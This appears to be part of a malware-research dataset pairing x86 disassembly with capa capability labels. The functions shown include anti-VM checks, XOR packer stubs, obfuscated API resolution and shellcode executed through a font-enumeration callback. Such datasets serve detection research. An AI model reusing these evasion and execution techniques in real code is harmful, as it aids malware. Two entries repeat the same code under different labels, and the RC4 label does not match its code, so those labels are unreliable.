joyce8/EMBER2024-capa huggingface dataset:
Function at 0x413900
Capabilities:
Accept command line arguments
Get process heap force flags
Terminate process

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
and esp, 0xfffffff0
sub esp, 0x10
mov dword [esp], 1
call sub.ucrtbase.dll__configure_wide_argv
call sub.ucrtbase.dll__initialize_wide_environment
call sub.ucrtbase.dll___p___argc
mov esi, dword [eax]
call sub.ucrtbase.dll___p___wargv
mov edi, dword [eax]
call sub.ucrtbase.dll__get_initial_wide_environment
mov ebx, eax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 8]
mov edx, dword [eax + 0x3c]
cmp word [eax + edx + 0x5c], 2
sete al
movzx eax, al
add eax, 1
mov dword [esp], eax
call sub.ucrtbase.dll__set_app_type
mov dword [esp + 8], ebx
mov dword [esp + 4], edi
mov dword [esp], esi
call 0x413970
mov dword [esp], eax
call sub.ucrtbase.dll_exit
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
sub esp, 0x78
call dword [sym.imp.kernel32.dll_GetCommandLineW]
mov ebx, eax
movzx eax, word [eax]
test ax, ax
je 0x413a0b
cmp ax, 9
je 0x4139f8
cmp ax, 0x20
je 0x4139f8
mov dword [ebp - 0x6c], 0
xor edi, edi
lea esi, [esi]
cmp ax, 0x5c
je 0x413a60
cmp ax, 0x22
je 0x413a70
mov dword [ebp - 0x6c], 0
movzx eax, word [ebx + 2]
add ebx, 2
test ax, ax
je 0x413a0b
cmp ax, 9
sete cl
cmp ax, 0x20
mov esi, ecx
sete cl
mov edx, esi
or dl, cl
je 0x4139b0
test edi, 1
jne 0x4139b0
lea esi, [esi]
movzx eax, word [ebx + 2]
add ebx, 2
cmp ax, 9
je 0x4139f8
cmp ax, 0x20
je 0x4139f8
lea eax, [ebp - 0x5c]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_GetStartupInfoW]
sub esp, 4
test byte [ebp - 0x30], 1
je 0x413a88
movzx esi, word [ebp - 0x2c]
mov dword [esp], 0
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
sub esp, 4
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
mov dword [esp + 4], 0
mov dword [esp], eax
call fcn.0040bdb0
sub esp, 0x10
lea esp, [ebp - 0x10]
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret
add dword [ebp - 0x6c], 1
jmp 0x4139cb
and dword [ebp - 0x6c], 1
jne 0x4139c4
xor edi, 1
jmp 0x4139cb
mov eax, 1
mov esi, 1
mov word [ebp - 0x2c], ax
jmp 0x413a24
Function at 0x413970
Capabilities:
Accept command line arguments
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
and esp, 0xfffffff0
sub esp, 0x10
mov dword [esp], 1
call sub.ucrtbase.dll__configure_wide_argv
call sub.ucrtbase.dll__initialize_wide_environment
call sub.ucrtbase.dll___p___argc
mov esi, dword [eax]
call sub.ucrtbase.dll___p___wargv
mov edi, dword [eax]
call sub.ucrtbase.dll__get_initial_wide_environment
mov ebx, eax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 8]
mov edx, dword [eax + 0x3c]
cmp word [eax + edx + 0x5c], 2
sete al
movzx eax, al
add eax, 1
mov dword [esp], eax
call sub.ucrtbase.dll__set_app_type
mov dword [esp + 8], ebx
mov dword [esp + 4], edi
mov dword [esp], esi
call 0x413970
mov dword [esp], eax
call sub.ucrtbase.dll_exit
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
sub esp, 0x78
call dword [sym.imp.kernel32.dll_GetCommandLineW]
mov ebx, eax
movzx eax, word [eax]
test ax, ax
je 0x413a0b
cmp ax, 9
je 0x4139f8
cmp ax, 0x20
je 0x4139f8
mov dword [ebp - 0x6c], 0
xor edi, edi
lea esi, [esi]
cmp ax, 0x5c
je 0x413a60
cmp ax, 0x22
je 0x413a70
mov dword [ebp - 0x6c], 0
movzx eax, word [ebx + 2]
add ebx, 2
test ax, ax
je 0x413a0b
cmp ax, 9
sete cl
cmp ax, 0x20
mov esi, ecx
sete cl
mov edx, esi
or dl, cl
je 0x4139b0
test edi, 1
jne 0x4139b0
lea esi, [esi]
movzx eax, word [ebx + 2]
add ebx, 2
cmp ax, 9
je 0x4139f8
cmp ax, 0x20
je 0x4139f8
lea eax, [ebp - 0x5c]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_GetStartupInfoW]
sub esp, 4
test byte [ebp - 0x30], 1
je 0x413a88
movzx esi, word [ebp - 0x2c]
mov dword [esp], 0
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
sub esp, 4
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
mov dword [esp + 4], 0
mov dword [esp], eax
call fcn.0040bdb0
sub esp, 0x10
lea esp, [ebp - 0x10]
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret
add dword [ebp - 0x6c], 1
jmp 0x4139cb
and dword [ebp - 0x6c], 1
jne 0x4139c4
xor edi, 1
jmp 0x4139cb
mov eax, 1
mov esi, 1
mov word [ebp - 0x2c], ax
jmp 0x413a24
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
nop
mov ecx, 0x77ae51c0
nop
nop
nop
nop
test eax, eax
nop
je 0x43304e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x433024
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x14d66cc4
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x433084
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x43306c
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x10001000
Capabilities:
Check for vm using instruction vpcext

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x10014ee8
push 0x10006950
mov eax, dword fs:[0]
push eax
add esp, 0xfffffff4
push ebx
push esi
push edi
mov eax, dword [0x10017d2c]
xor dword [ebp - 8], eax
xor eax, ebp
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov byte [ebp - 0x19], 0
mov dword [ebp - 4], 0
push ebx
mov ebx, 0
mov eax, 1
invalid

Function at 0x10001090
Capabilities:
Reference the vmware io port

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x10014f08
push 0x10006950
mov eax, dword fs:[0]
push eax
add esp, 0xfffffff4
push ebx
push esi
push edi
mov eax, dword [0x10017d2c]
xor dword [ebp - 8], eax
xor eax, ebp
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov byte [ebp - 0x19], 1
mov dword [ebp - 4], 0
push edx
push ecx
push ebx
mov eax, 0x564d5868
mov ebx, 0
mov ecx, 0xa
mov edx, 0x5658
in eax, dx
cmp ebx, 0x564d5868
sete byte [ebp - 0x19]
pop ebx
pop ecx
pop edx
mov dword [ebp - 4], 0xfffffffe
jmp 0x10001110
mov al, byte [ebp - 0x19]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100012a0
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001219e
mov eax, dword fs:[0]
push eax
sub esp, 0x27c
mov eax, dword [0x10017d2c]
xor eax, ebp
mov dword [ebp - 0x14], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov byte [ebp - 0xd], 0
lea ecx, [ebp - 0x170]
call fcn.10003db0
mov dword [ebp - 4], 0
push 0x104
lea eax, [ebp - 0x27c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 6
lea ecx, [ebp - 0x170]
call fcn.10003e40
push eax
lea ecx, [ebp - 0x27c]
push ecx
push str._s_s
lea edx, [ebp - 0x27c]
push edx
call fcn.10003630
add esp, 0x10
mov dword [ebp - 0x158], 0
lea eax, [ebp - 0x154]
push eax
lea ecx, [ebp - 0x27c]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x280], eax
cmp dword [ebp - 0x280], 0xffffffff
jne 0x10001372
mov byte [ebp - 0x285], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x170]
call fcn.10003e20
mov al, byte [ebp - 0x285]
jmp 0x100014b8
mov dword [ebp - 0x284], 0
lea edx, [ebp - 0x154]
push edx
mov eax, dword [ebp - 0x280]
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x1000148a
push 7
lea ecx, [ebp - 0x170]
call fcn.10003e40
push eax
lea ecx, [ebp - 0x128]
push ecx
call fcn.10001200
add esp, 8
test eax, eax
jne 0x100013bd
mov byte [ebp - 0xd], 1
push 8
lea ecx, [ebp - 0x170]
call fcn.10003e40
push eax
lea edx, [ebp - 0x128]
push edx
call fcn.10001200
add esp, 8
test eax, eax
jne 0x100013e2
mov byte [ebp - 0xd], 1
push 9
lea ecx, [ebp - 0x170]
call fcn.10003e40
push eax
lea eax, [ebp - 0x128]
push eax
call fcn.10001200
add esp, 8
test eax, eax
jne 0x10001407
mov byte [ebp - 0xd], 1
push 0xa
lea ecx, [ebp - 0x170]
call fcn.10003e40
push eax
lea ecx, [ebp - 0x128]
push ecx
call fcn.10001200
add esp, 8
test eax, eax
jne 0x1000142c
mov byte [ebp - 0xd], 1
push 0xb
lea ecx, [ebp - 0x170]
call fcn.10003e40
push eax
lea edx, [ebp - 0x128]
push edx
call fcn.10001200
add esp, 8
test eax, eax
jne 0x10001451
mov byte [ebp - 0xd], 1
push 0xc
lea ecx, [ebp - 0x170]
call fcn.10003e40
push eax
lea eax, [ebp - 0x128]
push eax
call fcn.10001200
add esp, 8
test eax, eax
jne 0x10001476
mov byte [ebp - 0xd], 1
mov ecx, dword [ebp - 0x284]
add ecx, 1
mov dword [ebp - 0x284], ecx
jmp 0x1000137c
mov edx, dword [ebp - 0x280]
push edx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov al, byte [ebp - 0xd]
mov byte [ebp - 0x286], al
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x170]
call fcn.10003e20
mov al, byte [ebp - 0x286]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10006ec2
mov esp, ebp
pop ebp
ret
Function at 0x10001720
Capabilities:
Contain obfuscated stackstrings
Get session user name

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10012201
mov eax, dword fs:[0]
push eax
sub esp, 0x134
mov eax, dword [0x10017d2c]
xor eax, ebp
mov dword [ebp - 0x14], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov byte [ebp - 0xd], 0
lea ecx, [ebp - 0x130]
call fcn.10003db0
mov dword [ebp - 4], 0
mov dword [ebp - 0x118], 0x100
lea eax, [ebp - 0x118]
push eax
lea ecx, [ebp - 0x114]
push ecx
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov byte [ebp - 0x13c], 0
xor edx, edx
mov dword [ebp - 0x13b], edx
mov dword [ebp - 0x137], edx
mov word [ebp - 0x133], dx
mov byte [ebp - 0x131], dl
mov byte [ebp - 0x13c], 0x63
mov byte [ebp - 0x136], 0x74
mov byte [ebp - 0x13a], 0x72
mov byte [ebp - 0x133], 0x65
mov byte [ebp - 0x135], 0x75
mov byte [ebp - 0x138], 0x65
mov byte [ebp - 0x139], 0x72
mov byte [ebp - 0x132], 0x72
mov byte [ebp - 0x134], 0x73
mov byte [ebp - 0x137], 0x6e
mov byte [ebp - 0x13b], 0x75
lea eax, [ebp - 0x13c]
push eax
lea ecx, [ebp - 0x114]
push ecx
call fcn.10001200
add esp, 8
test eax, eax
jne 0x1000180c
mov byte [ebp - 0xd], 1
push 0xd
lea ecx, [ebp - 0x130]
call fcn.10003e40
push eax
lea edx, [ebp - 0x114]
push edx
call fcn.10001200
add esp, 8
test eax, eax
jne 0x10001831
mov byte [ebp - 0xd], 1
push 0xe
lea ecx, [ebp - 0x130]
call fcn.10003e40
push eax
lea eax, [ebp - 0x114]
push eax
call fcn.10001200
add esp, 8
test eax, eax
jne 0x10001856
mov byte [ebp - 0xd], 1
push 0xf
lea ecx, [ebp - 0x130]
call fcn.10003e40
push eax
lea ecx, [ebp - 0x114]
push ecx
call fcn.10001200
add esp, 8
test eax, eax
jne 0x1000187b
mov byte [ebp - 0xd], 1
push 0x10
lea ecx, [ebp - 0x130]
call fcn.10003e40
push eax
lea edx, [ebp - 0x114]
push edx
call fcn.10001200
add esp, 8
test eax, eax
jne 0x100018a0
mov byte [ebp - 0xd], 1
push 0x11
lea ecx, [ebp - 0x130]
call fcn.10003e40
push eax
lea eax, [ebp - 0x114]
push eax
call fcn.10001200
add esp, 8
test eax, eax
jne 0x100018c5
mov byte [ebp - 0xd], 1
push 0x12
lea ecx, [ebp - 0x130]
call fcn.10003e40
push eax
lea ecx, [ebp - 0x114]
push ecx
call fcn.10001200
add esp, 8
test eax, eax
jne 0x100018ea
mov byte [ebp - 0xd], 1
push 0x13
lea ecx, [ebp - 0x130]
call fcn.10003e40
push eax
lea edx, [ebp - 0x114]
push edx
call fcn.10001200
add esp, 8
test eax, eax
jne 0x1000190f
mov byte [ebp - 0xd], 1
mov al, byte [ebp - 0xd]
mov byte [ebp - 0x13d], al
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x130]
call fcn.10003e20
mov al, byte [ebp - 0x13d]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10006ec2
mov esp, ebp
pop ebp
ret
Function at 0x10001950
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
mov eax, dword [0x10017d2c]
xor eax, ebp
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x34], 0x190
mov byte [ebp - 0x1a], 0x6c
mov byte [ebp - 0x19], 0x6c
mov byte [ebp - 0x18], 0
mov byte [ebp - 0x1d], 0x32
mov byte [ebp - 0x1f], 0x69
mov byte [ebp - 0x1b], 0x64
mov byte [ebp - 0x21], 0x61
mov byte [ebp - 0x22], 0x76
mov byte [ebp - 0x23], 0x64
mov byte [ebp - 0x24], 0x41
mov byte [ebp - 0x1c], 0x2e
mov byte [ebp - 0x20], 0x70
mov byte [ebp - 0x1e], 0x33
mov byte [ebp - 0x56], 0x45
mov byte [ebp - 0x55], 0x78
mov byte [ebp - 0x58], 0x65
mov byte [ebp - 0x5c], 0x70
mov byte [ebp - 0x53], 0
mov byte [ebp - 0x5d], 0x4f
mov byte [ebp - 0x5e], 0x67
mov byte [ebp - 0x59], 0x4b
mov byte [ebp - 0x57], 0x79
mov byte [ebp - 0x5a], 0x6e
mov byte [ebp - 0x5f], 0x65
mov byte [ebp - 0x5b], 0x65
mov byte [ebp - 0x60], 0x52
mov byte [ebp - 0x54], 0x41
mov byte [ebp - 0x3a], 0x78
mov byte [ebp - 0x3c], 0x65
mov byte [ebp - 0x3f], 0x61
mov byte [ebp - 0x38], 0
mov byte [ebp - 0x39], 0x41
mov byte [ebp - 0x47], 0x65
mov byte [ebp - 0x40], 0x56
mov byte [ebp - 0x46], 0x67
mov byte [ebp - 0x43], 0x65
mov byte [ebp - 0x3d], 0x75
mov byte [ebp - 0x3b], 0x45
mov byte [ebp - 0x42], 0x72
mov byte [ebp - 0x45], 0x51
mov byte [ebp - 0x3e], 0x6c
mov byte [ebp - 0x48], 0x52
mov byte [ebp - 0x41], 0x79
mov byte [ebp - 0x44], 0x75
mov byte [ebp - 0x2a], 0x73
mov byte [ebp - 0x2c], 0x6c
mov byte [ebp - 0x25], 0
mov byte [ebp - 0x2d], 0x43
mov byte [ebp - 0x30], 0x52
mov byte [ebp - 0x2e], 0x67
mov byte [ebp - 0x27], 0x65
mov byte [ebp - 0x26], 0x79
mov byte [ebp - 0x29], 0x65
mov byte [ebp - 0x2f], 0x65
mov byte [ebp - 0x2b], 0x6f
mov byte [ebp - 0x28], 0x4b
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0
je 0x10001a8d
lea ecx, [ebp - 0x60]
push ecx
mov edx, dword [ebp - 0x50]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x48]
push eax
mov ecx, dword [ebp - 0x50]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xc], eax
lea edx, [ebp - 0x30]
push edx
mov eax, dword [ebp - 0x50]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
lea ecx, [ebp - 0x4c]
push ecx
push 0xf013f
push 0
mov edx, dword [ebp + 8]
push edx
push 0x80000002
call dword [ebp - 0x10]
test eax, eax
jne 0x10001acf
mov dword [ebp - 0x64], 0x190
lea eax, [ebp - 0x64]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
lea edx, [ebp - 8]
push edx
push 0
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 0x4c]
push ecx
call dword [ebp - 0xc]
mov edx, dword [ebp - 0x4c]
push edx
call dword [ebp - 4]
mov eax, dword [ebp - 0x50]
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov al, 1
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10006ec2
mov esp, ebp
pop ebp
ret
Function at 0x10006ec2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10017d2c]
jne 0x10006ecc
repz ret
jmp fcn.1000aa4c

Function at 0x10011a70
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.1000a3c8
and dword [ebp - 4], 0
cmp dword [0x1001b3b0], 0
mov ebx, eax
jne 0x10011b21
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x10011bd2
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x10011bd2
push eax
call fcn.1000a356
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x1001b3b0], eax
call esi
push eax
call fcn.1000a356
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x1001b3b4], eax
call esi
push eax
call fcn.1000a356
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x1001b3b8], eax
call esi
push eax
call fcn.1000a356
pop ecx
mov dword [0x1001b3c0], eax
test eax, eax
je 0x10011b21
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.1000a356
pop ecx
mov dword [0x1001b3bc], eax
mov eax, dword [0x1001b3bc]
cmp eax, ebx
je 0x10011b79
cmp dword [0x1001b3c0], ebx
je 0x10011b79
push eax
call fcn.1000a3d1
push dword [0x1001b3c0]
mov esi, eax
call fcn.1000a3d1
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x10011b79
test edi, edi
je 0x10011b79
call esi
test eax, eax
je 0x10011b70
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x10011b70
test byte [ebp - 0xc], 1
jne 0x10011b79
or dword [ebp + 0x10], 0x200000
jmp 0x10011bb2
mov eax, dword [0x1001b3b4]
cmp eax, ebx
je 0x10011bb2
push eax
call fcn.1000a3d1
pop ecx
test eax, eax
je 0x10011bb2
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x10011bb2
mov eax, dword [0x1001b3b8]
cmp eax, ebx
je 0x10011bb2
push eax
call fcn.1000a3d1
pop ecx
test eax, eax
je 0x10011bb2
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x1001b3b0]
call fcn.1000a3d1
pop ecx
test eax, eax
je 0x10011bd2
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x10011bd4
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x433004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
call 0x43300c
nop
pop eax
nop
nop
nop
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x433030
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
jne 0x43301e
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x404f20
Capabilities:
Allocate or change rwx memory
Execute shellcode via windows callback function

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x790
mov eax, dword [ebp + 8]
mov eax, dword [0x424014]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x774]
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.0040e600
mov dword [ebp - 0x780], 0
cmp dword [ebp - 0x780], 0x3b6
jae 0x404fb3
lea eax, [ebp - 0x774]
mov ecx, dword [ebp - 0x780]
shl ecx, 1
add eax, ecx
lea ecx, [0x42003e]
lea edx, [ebp - 0x778]
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], edx
call fcn.00405040
mov eax, dword [ebp - 0x778]
mov ecx, dword [ebp - 0x780]
mov byte [ebp + ecx - 0x774], al
mov eax, dword [ebp - 0x780]
add eax, 1
mov dword [ebp - 0x780], eax
jmp 0x404f56
mov dword [ebp - 0x77c], 0
lea eax, [ebp - 0x774]
lea ecx, [ebp - 0x77c]
mov dword [esp], eax
mov dword [esp + 4], 0x76c
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
mov dword [ebp - 0x784], eax
lea esi, [ebp - 0x774]
xor eax, eax
mov dword [esp], 0
call dword [sym.imp.USER32.dll_GetDC]
sub esp, 4
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], esi
mov dword [esp + 0xc], 0
call dword [sym.imp.GDI32.dll_EnumFontFamiliesA]
sub esp, 0x10
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00405c55
add esp, 0x790
pop esi
pop ebp
ret

Function at 0x405812
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x405851
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x405851
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x405851
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x405851
cmp dword [ecx + 0x74], 0xe
jbe 0x405851
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x40e970
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40e99d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40e99d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret